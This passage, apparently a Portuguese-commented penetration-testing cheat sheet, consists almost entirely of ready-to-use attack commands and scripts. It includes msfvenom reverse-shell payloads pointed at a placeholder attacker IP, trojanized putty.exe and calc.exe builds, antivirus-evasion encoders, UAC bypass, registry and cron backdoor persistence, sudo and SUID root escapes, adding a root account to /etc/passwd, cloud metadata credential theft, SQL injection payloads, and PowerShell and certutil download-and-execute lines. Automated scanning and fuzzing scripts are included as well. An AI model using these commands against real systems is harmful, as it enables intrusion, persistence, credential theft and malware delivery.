portfwd add -l 3389 -p 3389 -r 172.16.1.100

# Socks proxy
auxiliary/server/socks4a
set SRVHOST 127.0.0.1
set SRVPORT 1080
run

# Verificar privilégios
getprivs

# Tentar elevar privilégios
getsystem

# Exploits locais
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# UAC bypass (Windows)
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
run

# Persistence module
use exploit/windows/local/persistence
set SESSION 1
set STARTUP SYSTEM
run

# Manual registry persistence (Windows)
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\\windows\\temp\\backdoor.exe'

# Cron job (Linux)
shell
echo "* * * * * /tmp/backdoor" | crontab -

# PHP payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f raw -o shell.php

# ASP payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f asp -o shell.asp

# JSP payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f raw -o shell.jsp

# Python payload
msfvenom -p python/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f raw -o shell.py

# PowerShell payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f psh -o shell.ps1

# Shellcode C
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f c

# Listar encoders
msfvenom --list encoders

# Encoder shikata_ga_nai
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded.exe

# Múltiplos encoders
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -e x86/shikata_ga_nai -i 5 -e x86/countdown -i 3 -f exe -o multi_encoded.exe

# Template injection
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -x putty.exe -f exe -o trojan.exe

# Formato de template
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -x calc.exe -k -f exe -o calc_trojan.exe

# Platform específico
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o platform_specific.exe

# Ataque de dicionário
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# Brute force
hashcat -m 1000 hashes.txt -a 3 ?a?a?a?a?a?a?a?a

# Combinator attack
hashcat -m 1000 hashes.txt -a 1 wordlist1.txt wordlist2.txt

# Ver senhas crackeadas
hashcat -m 1000 hashes.txt --show

# Hashes comuns:
-m 0      # MD5
-m 100    # SHA-1
-m 1400   # SHA-256
-m 1000   # NTLM
-m 3000   # LM
-m 1800   # SHA-512 (Unix)
-m 500    # MD5crypt
-m 1700   # SHA-512
-m 22000  # WPA-PBKDF2-PMKID+EAPOL

# Tipos de ataque:
-a 0    # Straight (dicionário)
-a 1    # Combination (combinar wordlists)
-a 3    # Brute-force (máscaras)
-a 6    # Hybrid Wordlist + Mask
-a 7    # Hybrid Mask + Wordlist

# Máscaras para brute force:
?l    # lowercase letters
?u    # uppercase letters  
?d    # digits
?s    # special chars
?a    # all characters
?b    # binary (0x00-0xff)

# NTLM com regras
hashcat -m 1000 ntlm.txt -r /usr/share/hashcat/rules/best64.rule wordlist.txt

# Brute force 8 digits
hashcat -m 1000 hashes.txt -a 3 ?d?d?d?d?d?d?d?d

# Wordlist + 2 digits
hashcat -m 1000 hashes.txt -a 6 wordlist.txt ?d?d

# Performance tuning
hashcat -m 1000 hashes.txt wordlist.txt -O -w 3

# Arquivo de regras customizadas
[List.Rules:MyRules]
# Lowercase
l
# Uppercase  
u
# Capitalize
c
# Append common numbers
$0 $1 $2 $3
# Append years
$2 $0 $2 $1
$2 $0 $2 $2
# Leet speak
so0 si1 se3 sa@
# Common substitutions
s@a s3e s1i s0o s$s

# Arquivo rules.txt
:           # Do nothing
l           # Lowercase
u           # Uppercase  
c           # Capitalize
$1 $2 $3    # Append 123
^1 ^2 ^3    # Prepend 321
so0         # Replace 's' with '0'
si1         # Replace 'i' with '1'
se3         # Replace 'e' with '3'

# Rotação de caracteres
} }         # Rotate right twice
{ {         # Rotate left twice

# Duplicação
d           # Duplicate word (password -> passwordpassword)

# Reflexão  
f           # Reverse (password -> drowssap)

# Combinações complexas
c $1 $2 $3 $!    # Capitalize + append 123!
l so0 si1 se3    # Lowercase + leet
u ^2 ^0 ^2 ^1    # Uppercase + prepend 2021

# Verificar se está em container
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv

# Escape via volumes montados
mount | grep docker
find / -name "docker.sock" 2>/dev/null

# Capabilities perigosas
capsh --print | grep cap_sys_admin

# Privileged container escape
fdisk -l
mount /dev/sda1 /mnt
chroot /mnt /bin/bash

# AWS - Instance metadata
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Enumerar permissões IAM
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name user

# Escalação via roles
aws sts assume-role --role-arn arn:aws:iam::account:role/AdminRole --role-session-name session

# GCP - Service account escalation
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Listar comandos permitidos
sudo -l

# Exemplos de saída:
# (ALL) NOPASSWD: /bin/cp
# (root) /usr/bin/vim
# (ALL) ALL

# vim/nano - editor com escape para shell
sudo vim -c ':!/bin/bash'
sudo nano -T 4 -s /bin/bash

# find - executar comandos
sudo find /etc -name "passwd" -exec /bin/bash \;

# awk - interpreter
sudo awk 'BEGIN {system("/bin/bash")}'

# python/perl - interpreters
sudo python -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'

# less/more - pagers
sudo less /etc/passwd
!/bin/bash

# Recurso online para bypass:
# https://gtfobins.github.io/

# Exemplos comuns:
# cp - copiar /etc/shadow
sudo cp /etc/shadow /tmp/shadow

# tar - preservar permissões
sudo tar cf /dev/null file --checkpoint=1 --checkpoint-action=exec=/bin/bash

# zip - executar comando
sudo zip file.zip file -T --unzip-command="sh -c /bin/bash"

# SUID (Set User ID)
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# SGID (Set Group ID)  
find / -perm -2000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# Ambos
find / -perm -6000 -type f 2>/dev/null

# /usr/bin/passwd
echo "user:$(openssl passwd -1 -salt user pass):0:0:user:/root:/bin/bash" >> /etc/passwd

# /bin/cp (se SUID)
cp /etc/passwd /tmp/passwd.bak
echo "root2:$(openssl passwd -1 pass):0:0:root:/root:/bin/bash" >> /tmp/passwd.bak
cp /tmp/passwd.bak /etc/passwd

# /usr/bin/find
find /etc -name "passwd" -exec whoami \;
find /etc -name "passwd" -exec bash -p \;

# /usr/bin/python
python -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Listar capabilities
getcap -r / 2>/dev/null

# Exemplos perigosos:
# cap_setuid+ep - pode alterar UID
# cap_dac_override+ep - bypass permissões de arquivo

# Explorar cap_setuid
./binary -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Verificar autoruns
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Verificar permissões nos executáveis
accesschk.exe -dqv "C:\Program Files\AutoRun\"

# Substituir executável
copy shell.exe "C:\Program Files\AutoRun\program.exe"

# Buscar senhas no registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# VNC passwords
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password

# AutoLogon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

# Nmap com fragmentação
nmap -f SERVIDOR_IP              # Fragmentação simples
nmap -ff SERVIDOR_IP             # Fragmentação máxima
nmap --mtu 24 SERVIDOR_IP        # MTU customizada (múltiplo de 8)

# Hping3 fragmentado
hping3 -S -p 80 -f SERVIDOR_IP

# Fragrouter para fragmentação avançada
fragrouter -B1 SERVIDOR_IP

# Nmap com segmentação TCP
nmap --data-length 25 SERVIDOR_IP

# Scapy para pacotes customizados
from scapy.all import *
packet = IP(dst="SERVIDOR_IP")/TCP(dport=80,flags="S")/"A"*100
send(packet)

#!/bin/bash
# Advanced Network Scanner
# Usage: ./netscan.sh REDE_ALVO/24

if [ "$#" -ne 1 ]; then
    echo "Usage: $0 "
    exit 1
fi

NETWORK=$1
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
OUTPUT_DIR="scan_$TIMESTAMP"
mkdir -p $OUTPUT_DIR

echo "[+] Starting network scan for $NETWORK"
echo "[+] Results will be saved in $OUTPUT_DIR"

# Host discovery
echo "[*] Phase 1: Host Discovery"
nmap -sn $NETWORK | grep "Nmap scan report" | awk '{print $5}' > $OUTPUT_DIR/live_hosts.txt

# Port scanning
echo "[*] Phase 2: Port Scanning"
while read host; do
    echo "Scanning $host..."
    nmap -sS -T4 -p- $host -oA $OUTPUT_DIR/${host}_portscan &
done < $OUTPUT_DIR/live_hosts.txt

wait

# Service detection
echo "[*] Phase 3: Service Detection"
while read host; do
    if [ -f "$OUTPUT_DIR/${host}_portscan.gnmap" ]; then
        ports=$(grep "open" $OUTPUT_DIR/${host}_portscan.gnmap | grep -oP '\d+/open' | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
        if [ ! -z "$ports" ]; then
            echo "Service detection on $host:$ports"
            nmap -sV -sC -p $ports $host -oA $OUTPUT_DIR/${host}_services &
        fi
    fi
done < $OUTPUT_DIR/live_hosts.txt

wait

# Generate summary
echo "[*] Generating summary..."
echo "=== Network Scan Summary ===" > $OUTPUT_DIR/summary.txt
echo "Scan Date: $(date)" >> $OUTPUT_DIR/summary.txt
echo "Network: $NETWORK" >> $OUTPUT_DIR/summary.txt
echo "Live Hosts: $(wc -l < $OUTPUT_DIR/live_hosts.txt)" >> $OUTPUT_DIR/summary.txt
echo "" >> $OUTPUT_DIR/summary.txt

while read host; do
    echo "Host: $host" >> $OUTPUT_DIR/summary.txt
    if [ -f "$OUTPUT_DIR/${host}_services.nmap" ]; then
        grep "open" $OUTPUT_DIR/${host}_services.nmap | head -10 >> $OUTPUT_DIR/summary.txt
    fi
    echo "" >> $OUTPUT_DIR/summary.txt
done < $OUTPUT_DIR/live_hosts.txt

echo "[+] Scan completed! Check $OUTPUT_DIR/summary.txt"

#!/bin/bash
# Smart Port Scanner with adaptive timing
# ./portscan.sh  [timing]

TARGET=$1
TIMING=${2:-3}  # Default timing 3

if [ -z "$TARGET" ]; then
    echo "Usage: $0  [timing 0-5]"
    exit 1
fi

# Common ports for quick scan
COMMON_PORTS="21,22,23,25,53,80,110,111,135,139,143,443,993,995,1723,3306,3389,5432,5900,8080"

echo "[+] Starting smart scan for $TARGET"

# Quick common ports scan
echo "[*] Quick scan on common ports..."
nmap -sS -T$TIMING -p $COMMON_PORTS $TARGET --open | grep "open" > temp_common.txt

if [ -s temp_common.txt ]; then
    echo "[+] Found open ports in quick scan:"
    cat temp_common.txt
    
    # Full port scan on active host
    echo "[*] Host appears active, performing full port scan..."
    nmap -sS -T$TIMING -p- $TARGET --open -oN full_scan_$TARGET.txt
    
    # Service detection on open ports
    OPEN_PORTS=$(grep -oP '\d+/tcp\s+open' full_scan_$TARGET.txt | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
    if [ ! -z "$OPEN_PORTS" ]; then
        echo "[*] Service detection on ports: $OPEN_PORTS"
        nmap -sV -sC -p $OPEN_PORTS $TARGET -oN services_$TARGET.txt
    fi
else
    echo "[-] No open ports found in quick scan"
    echo "[*] Trying stealth scan..."
    nmap -sS -T1 -p $COMMON_PORTS $TARGET --open -oN stealth_$TARGET.txt
fi

rm -f temp_common.txt
echo "[+] Scan completed for $TARGET"

#!/bin/bash
# Intelligent Web Directory Fuzzer
# ./webfuzz.sh 

URL=$1
THREADS=20
USER_AGENT="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

if [ -z "$URL" ]; then
    echo "Usage: $0 "
    echo "Example: $0 https://example.com"
    exit 1
fi

# Create output directory
OUTPUT_DIR="webfuzz_$(echo $URL | sed 's|https\?://||' | sed 's|/.*||')_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR

echo "[+] Starting web enumeration for $URL"
echo "[+] Output directory: $OUTPUT_DIR"

# Function to test URL
test_url() {
    local path=$1
    local full_url="$URL/$path"
    
    response=$(curl -s -o /dev/null -w "%{http_code}:%{size_download}" \
        -H "User-Agent: $USER_AGENT" \
        --max-time 10 \
        "$full_url" 2>/dev/null)
    
    code=$(echo $response | cut -d':' -f1)
    size=$(echo $response | cut -d':' -f2)
    
    case $code in
        200|301|302|403)
            echo "$code:$size:$full_url" >> $OUTPUT_DIR/found.txt
            echo "[+] $code - $full_url ($size bytes)"
            ;;
        401)
            echo "$code:$size:$full_url" >> $OUTPUT_DIR/auth_required.txt
            echo "[!] $code - $full_url (Auth Required)"
            ;;
    esac
}

# Export function for parallel execution
export -f test_url
export URL USER_AGENT OUTPUT_DIR

# Common directories and files
WORDLIST="/usr/share/wordlists/dirb/common.txt"
if [ ! -f "$WORDLIST" ]; then
    # Fallback wordlist
    cat << 'EOF' > $OUTPUT_DIR/wordlist.txt
admin
administrator
login
wp-admin
phpmyadmin
config
backup
test
tmp
temp
uploads
images
css
js
api
v1
v2
robots.txt
sitemap.xml
.htaccess
config.php
index.php
info.php
phpinfo.php
EOF
    WORDLIST="$OUTPUT_DIR/wordlist.txt"
fi

echo "[*] Using wordlist: $WORDLIST"
echo "[*] Starting fuzzing with $THREADS threads..."

# Parallel fuzzing
cat $WORDLIST | head -1000 | xargs -n 1 -P $THREADS -I {} bash -c 'test_url "{}"'

# Technology detection
echo "[*] Detecting web technologies..."
whatweb "$URL" > $OUTPUT_DIR/technology.txt 2>/dev/null

# Check for common files
echo "[*] Checking for common interesting files..."
INTERESTING_FILES=(
    "robots.txt"
    "sitemap.xml"
    ".htaccess"
    "web.config"
    "crossdomain.xml"
    "clientaccesspolicy.xml"
    ".git/config"
    ".svn/entries"
    "composer.json"
    "package.json"
    "README.md"
)

for file in "${INTERESTING_FILES[@]}"; do
    test_url "$file" &
done
wait

# Generate report
echo "[*] Generating report..."
{
    echo "=== Web Enumeration Report ==="
    echo "Target: $URL"
    echo "Date: $(date)"
    echo ""
    
    if [ -f "$OUTPUT_DIR/found.txt" ]; then
        echo "=== Found Endpoints ==="
        sort $OUTPUT_DIR/found.txt
        echo ""
    fi
    
    if [ -f "$OUTPUT_DIR/auth_required.txt" ]; then
        echo "=== Authentication Required ==="
        cat $OUTPUT_DIR/auth_required.txt
        echo ""
    fi
    
    if [ -f "$OUTPUT_DIR/technology.txt" ]; then
        echo "=== Technology Stack ==="
        cat $OUTPUT_DIR/technology.txt
    fi
} > $OUTPUT_DIR/report.txt

echo "[+] Enumeration completed! Check $OUTPUT_DIR/report.txt"

#!/bin/bash
# Advanced Subdomain Enumeration
# ./subdomains.sh 

DOMAIN=$1
OUTPUT_DIR="subdomains_${DOMAIN}_$(date +%Y%m%d_%H%M%S)"

if [ -z "$DOMAIN" ]; then
    echo "Usage: $0 "
    exit 1
fi

mkdir -p $OUTPUT_DIR
echo "[+] Starting subdomain enumeration for $DOMAIN"

# Function for subdomain discovery
discover_subdomains() {
    echo "[*] Certificate transparency search..."
    curl -s "https://crt.sh/?q=$DOMAIN&output=json" | \
        jq -r '.[].name_value' | \
        sed 's/\*\.//g' | \
        sort -u > $OUTPUT_DIR/crt_sh.txt

    echo "[*] DNS brute force..."
    if command -v sublist3r &> /dev/null; then
        sublist3r -d $DOMAIN -o $OUTPUT_DIR/sublist3r.txt -t 50 > /dev/null 2>&1
    fi

    # DNS bruteforce with custom wordlist
    echo "[*] Custom DNS brute force..."
    SUBDOMAINS=(
        "www" "mail" "ftp" "localhost" "webmail" "smtp" "pop" "ns1" "webdisk"
        "ns2" "cpanel" "whm" "autodiscover" "autoconfig" "m" "imap" "test"
        "ns" "blog" "pop3" "dev" "www2" "admin" "forum" "news" "vpn" "ns3"
        "mail2" "new" "mysql" "old" "www1" "beta" "shop" "stage" "secure"
        "api" "app" "portal" "staging" "support" "web" "bbs" "ww1" "owa"
        "demo" "manager" "mobile" "docs" "help" "en" "start" "sms" "backup"
    )

    for sub in "${SUBDOMAINS[@]}"; do
        if nslookup "$sub.$DOMAIN" > /dev/null 2>&1; then
            echo "$sub.$DOMAIN" >> $OUTPUT_DIR/bruteforce.txt
            echo "[+] Found: $sub.$DOMAIN"
        fi
    done &

    wait
}

# Combine all results
combine_results() {
    echo "[*] Combining results..."
    cat $OUTPUT_DIR/*.txt 2>/dev/null | sort -u > $OUTPUT_DIR/all_subdomains.txt
    
    # Verify live subdomains
    echo "[*] Verifying live subdomains..."
    while read subdomain; do
        if [ ! -z "$subdomain" ]; then
            if ping -c 1 "$subdomain" > /dev/null 2>&1; then
                echo "$subdomain" >> $OUTPUT_DIR/live_subdomains.txt
                echo "[+] Live: $subdomain"
            fi
        fi
    done < $OUTPUT_DIR/all_subdomains.txt &

    wait
}

# Generate report
generate_report() {
    echo "[*] Generating report..."
    {
        echo "=== Subdomain Enumeration Report ==="
        echo "Domain: $DOMAIN"
        echo "Date: $(date)"
        echo ""
        
        if [ -f "$OUTPUT_DIR/all_subdomains.txt" ]; then
            echo "Total subdomains found: $(wc -l < $OUTPUT_DIR/all_subdomains.txt)"
        fi
        
        if [ -f "$OUTPUT_DIR/live_subdomains.txt" ]; then
            echo "Live subdomains: $(wc -l < $OUTPUT_DIR/live_subdomains.txt)"
            echo ""
            echo "=== Live Subdomains ==="
            cat $OUTPUT_DIR/live_subdomains.txt
        fi
    } > $OUTPUT_DIR/report.txt
}

# Execute functions
discover_subdomains
combine_results
generate_report

echo "[+] Subdomain enumeration completed! Check $OUTPUT_DIR/report.txt"

#!/bin/bash
# Complete Pentest Automation Framework
# ./pentester.sh  [scope]

TARGET=$1
SCOPE=${2:-"basic"}  # basic, full, stealth
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
OUTPUT_DIR="pentest_${TARGET}_${TIMESTAMP}"

# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

banner() {
    echo -e "${BLUE}"
    echo "╔══════════════════════════════════════════════════════════════╗"
    echo "║                    PENTEST AUTOMATION                       ║"
    echo "║                      Version 1.0                           ║"
    echo "╚══════════════════════════════════════════════════════════════╝"
    echo -e "${NC}"
}

log() {
    echo -e "${GREEN}[$(date '+%H:%M:%S')] $1${NC}"
}

warning() {
    echo -e "${YELLOW}[WARNING] $1${NC}"
}

error() {
    echo -e "${RED}[ERROR] $1${NC}"
}

check_tools() {
    log "Checking required tools..."
    TOOLS=("nmap" "curl" "whatweb" "dig" "whois")
    
    for tool in "${TOOLS[@]}"; do
        if ! command -v $tool &> /dev/null; then
            error "$tool is not installed"
            exit 1
        fi
    done
    log "All required tools are available"
}

recon_phase() {
    log "Starting reconnaissance phase..."
    mkdir -p $OUTPUT_DIR/recon
    
    # WHOIS lookup
    log "WHOIS lookup..."
    whois $TARGET > $OUTPUT_DIR/recon/whois.txt 2>/dev/null
    
    # DNS enumeration
    log "DNS enumeration..."
    dig $TARGET ANY > $OUTPUT_DIR/recon/dns.txt 2>/dev/null
    
    # Subdomain enumeration
    log "Subdomain enumeration..."
    timeout 300 bash -c "
        for sub in www mail ftp admin api app dev test staging; do
            if nslookup \$sub.$TARGET > /dev/null 2>&1; then
                echo \$sub.$TARGET >> $OUTPUT_DIR/recon/subdomains.txt
            fi
        done
    " &
    
    wait
}

scanning_phase() {
    log "Starting scanning phase..."
    mkdir -p $OUTPUT_DIR/scanning
    
    case $SCOPE in
        "stealth")
            TIMING="T1"
            PORTS="80,443,22,21,25,53"
            ;;
        "full")
            TIMING="T4"
            PORTS="1-65535"
            ;;
        *)
            TIMING="T3"
            PORTS="1-1000"
            ;;
    esac
    
    log "Port scanning with timing $TIMING..."
    nmap -sS -$TIMING -p $PORTS $TARGET --open -oA $OUTPUT_DIR/scanning/portscan
    
    # Service detection
    OPEN_PORTS=$(grep "open" $OUTPUT_DIR/scanning/portscan.gnmap | grep -oP '\d+/open' | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
    
    if [ ! -z "$OPEN_PORTS" ]; then
        log "Service detection on ports: $OPEN_PORTS"
        nmap -sV -sC -p $OPEN_PORTS $TARGET -oA $OUTPUT_DIR/scanning/services
    fi
}

web_enum_phase() {
    log "Starting web enumeration phase..."
    mkdir -p $OUTPUT_DIR/web
    
    # Check if HTTP/HTTPS is open
    if grep -q "80/open\|443/open\|8080/open\|8443/open" $OUTPUT_DIR/scanning/portscan.gnmap; then
        log "Web services detected, starting enumeration..."
        
        # Technology detection
        whatweb $TARGET > $OUTPUT_DIR/web/technology.txt 2>/dev/null
        
        # Basic directory enumeration
        curl -s $TARGET/robots.txt > $OUTPUT_DIR/web/robots.txt 2>/dev/null
        curl -s $TARGET/sitemap.xml > $OUTPUT_DIR/web/sitemap.xml 2>/dev/null
        
        # Common files check
        COMMON_FILES=("admin" "login" "config" "backup" "test" "info.php" "phpinfo.php")
        for file in "${COMMON_FILES[@]}"; do
            STATUS=$(curl -s -o /dev/null -w "%{http_code}" $TARGET/$file)
            if [ "$STATUS" == "200" ]; then
                echo "$TARGET/$file - $STATUS" >> $OUTPUT_DIR/web/interesting_files.txt
            fi
        done
    fi
}

vulnerability_scan() {
    log "Starting vulnerability scanning..."
    mkdir -p $OUTPUT_DIR/vulnerabilities
    
    # Nmap vulnerability scripts
    if [ -f "$OUTPUT_DIR/scanning/services.gnmap" ]; then
        log "Running Nmap vulnerability scripts..."
        nmap --script vuln --script-args=unsafe=1 -iL <(grep "open" $OUTPUT_DIR/scanning/services.gnmap | cut -d' ' -f2) -oA $OUTPUT_DIR/vulnerabilities/vuln_scan
    fi
}

generate_report() {
    log "Generating final report..."
    
    cat << EOF > $OUTPUT_DIR/final_report.md
# Penetration Test Report

**Target:** $TARGET  
**Date:** $(date)  
**Scope:** $SCOPE  

## Executive Summary

This report contains the findings from an automated penetration test against $TARGET.

## Reconnaissance

$(if [ -f "$OUTPUT_DIR/recon/whois.txt" ]; then echo "### WHOIS Information"; cat $OUTPUT_DIR/recon/whois.txt | head -20; fi)

$(if [ -f "$OUTPUT_DIR/recon/subdomains.txt" ]; then echo "### Subdomains Found"; cat $OUTPUT_DIR/recon/subdomains.txt; fi)

## Port Scan Results

$(if [ -f "$OUTPUT_DIR/scanning/portscan.nmap" ]; then grep "open" $OUTPUT_DIR/scanning/portscan.nmap | head -20; fi)

## Web Services

$(if [ -f "$OUTPUT_DIR/web/technology.txt" ]; then echo "### Technology Stack"; cat $OUTPUT_DIR/web/technology.txt; fi)

$(if [ -f "$OUTPUT_DIR/web/interesting_files.txt" ]; then echo "### Interesting Files"; cat $OUTPUT_DIR/web/interesting_files.txt; fi)

## Vulnerabilities

$(if [ -f "$OUTPUT_DIR/vulnerabilities/vuln_scan.nmap" ]; then grep -A 5 "VULNERABLE" $OUTPUT_DIR/vulnerabilities/vuln_scan.nmap || echo "No critical vulnerabilities detected by automated scan"; fi)

## Recommendations

1. Review all open services and ensure they are necessary
2. Implement proper access controls
3. Keep all software up to date
4. Monitor for suspicious activities

---
*This report was generated automatically. Manual verification is recommended.*
EOF

    log "Report generated: $OUTPUT_DIR/final_report.md"
}

# Main execution
main() {
    if [ -z "$TARGET" ]; then
        echo "Usage: $0  [scope: basic|full|stealth]"
        exit 1
    fi
    
    banner
    log "Starting pentest against $TARGET with scope: $SCOPE"
    
    check_tools
    recon_phase
    scanning_phase
    web_enum_phase
    vulnerability_scan
    generate_report
    
    log "Pentest automation completed!"
    log "Results saved in: $OUTPUT_DIR"
    warning "This is an automated scan. Manual verification is strongly recommended."
}

# Trap to clean up on interruption
trap 'echo -e "\n${RED}[!] Scan interrupted by user${NC}"; exit 1' INT

main "$@"

# Método ORDER BY
' order by 1--    (sucesso)
' order by 2--    (sucesso)
' order by 3--    (sucesso)
' order by 4--    (erro - descobrimos que há 3 colunas)

# Método UNION
' union select null--         (erro)
' union select null,null--    (erro)
' union select null,null,null--    (sucesso - 3 colunas)

# Testar quais colunas são exibidas na página
' union select 1,2,3--
' union select 'test',2,3--
' union select 1,'test',3--
' union select 1,2,'test'--

# Se as colunas 1 e 3 aparecem na página, usar:
' union select version(),null,database()--

# MySQL
' union select version(),user(),database()--
' union select schema_name,null,null from information_schema.schemata--
' union select table_name,null,null from information_schema.tables where table_schema=database()--
' union select column_name,data_type,null from information_schema.columns where table_name='users'--

# PostgreSQL
' union select version(),current_user,current_database()--
' union select schemaname,null,null from pg_tables--
' union select tablename,null,null from pg_tables where schemaname='public'--

# SQL Server
' union select @@version,user_name(),db_name()--
' union select name,null,null from sys.databases--
' union select name,null,null from sys.tables--

# Oracle
' union select banner,null,null from v$version--
' union select table_name,null,null from user_tables--

# A stack cresce para baixo (endereços menores)
# Ao escrever exploits, escrever em hexa ao contrário

# Exemplo: queremos JMP ESP (0x7C874413)
# Na stack deve ser: \x13\x44\x87\x7C (little-endian)

# Stack antes do PUSH EAX (EAX = 0x41424344):
ESP → 0x7FFFF000: [vazio]
      0x7FFEF000: dados antigos

# Stack depois do PUSH EAX:
ESP → 0x7FFFEFFC: 0x41424344  ← EAX foi empurrado
      0x7FFFF000: [antigo topo]

# Function Prologue (entrada da função)
push ebp        ; Salvar frame pointer anterior
mov ebp, esp    ; Estabelecer novo frame pointer
sub esp, 0x20   ; Alocar espaço para variáveis locais

# Durante a função:
# [EBP-0x20] até [EBP-0x01]: variáveis locais
# [EBP+0x00]: saved EBP
# [EBP+0x04]: return address
# [EBP+0x08]: primeiro parâmetro
# [EBP+0x0C]: segundo parâmetro

# Function Epilogue (saída da função)
mov esp, ebp    ; Restaurar stack pointer
pop ebp         ; Restaurar frame pointer anterior
ret             ; Retornar (pop EIP)

# Encoder XOR simples
def xor_encode(shellcode, key):
    encoded = []
    for byte in shellcode:
        encoded.append(chr(ord(byte) ^ key))
    return ''.join(encoded)

# Decoder XOR (assembly)
decoder = (
    "\xeb\x0c"              # jmp short call_decoder
    "\x5e"                  # pop esi (get shellcode address)
    "\x31\xc9"              # xor ecx, ecx
    "\xb1\x1e"              # mov cl, 30 (shellcode length)
    "\x80\x36\xaa"          # xor byte ptr [esi], 0xaa (XOR key)
    "\x46"                  # inc esi
    "\xe2\xfb"              # loop decode_loop
    "\xff\xe6"              # jmp esi (execute decoded shellcode)
    "\xe8\xef\xff\xff\xff"  # call decoder
    # encoded shellcode aqui
)

# Usar com msfvenom:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -e x86/shikata_ga_nai -i 3 -f c

# Quando apenas caracteres alfa-numéricos são permitidos
# Usar encoders especializados

# msfvenom com encoder alfa-numérico
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -e x86/alpha_mixed -f c

# Alpha3 (ferramenta especializada)
# Converte shellcode binário para alfa-numérico
./alpha3 x86 ascii --input=shellcode.bin --output=encoded.txt

# Procurar por chaves SSH
find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null

# Verificar authorized_keys
find / -name "authorized_keys" 2>/dev/null

# SSH Agent forwarding
ssh -A user@intermediate-host
ssh target-host  # Usa as keys do agent

# Dynamic port forwarding (SOCKS proxy)
ssh -D 8080 user@pivot-host

# Local port forwarding
ssh -L 3306:internal-db:3306 user@pivot-host

# Remote port forwarding (reverse tunnel)
ssh -R 4444:localhost:4444 user@attacker-host

# Encoding payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe

# Veil Framework
./Veil.py -p go/meterpreter/rev_tcp.py -c LHOST=ATACANTE_IP LPORT=4444

# Donut (In-memory .NET execution)
donut.exe -a 2 -f 1 -o payload.bin program.exe

# PowerShell obfuscation
Invoke-Obfuscation
Set-Item "Token\All\1" # Obfuscar todos os tokens

# Usar binários legítimos do Windows
# PowerShell download
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATACANTE_IP/script.ps1')"

# Certutil download
certutil -urlcache -split -f http://ATACANTE_IP/payload.exe payload.exe

# BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source http://ATACANTE_IP/payload.exe -Destination payload.exe

# Rundll32 execution
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";[TEXTO DE EXEMPLO - alert('test')];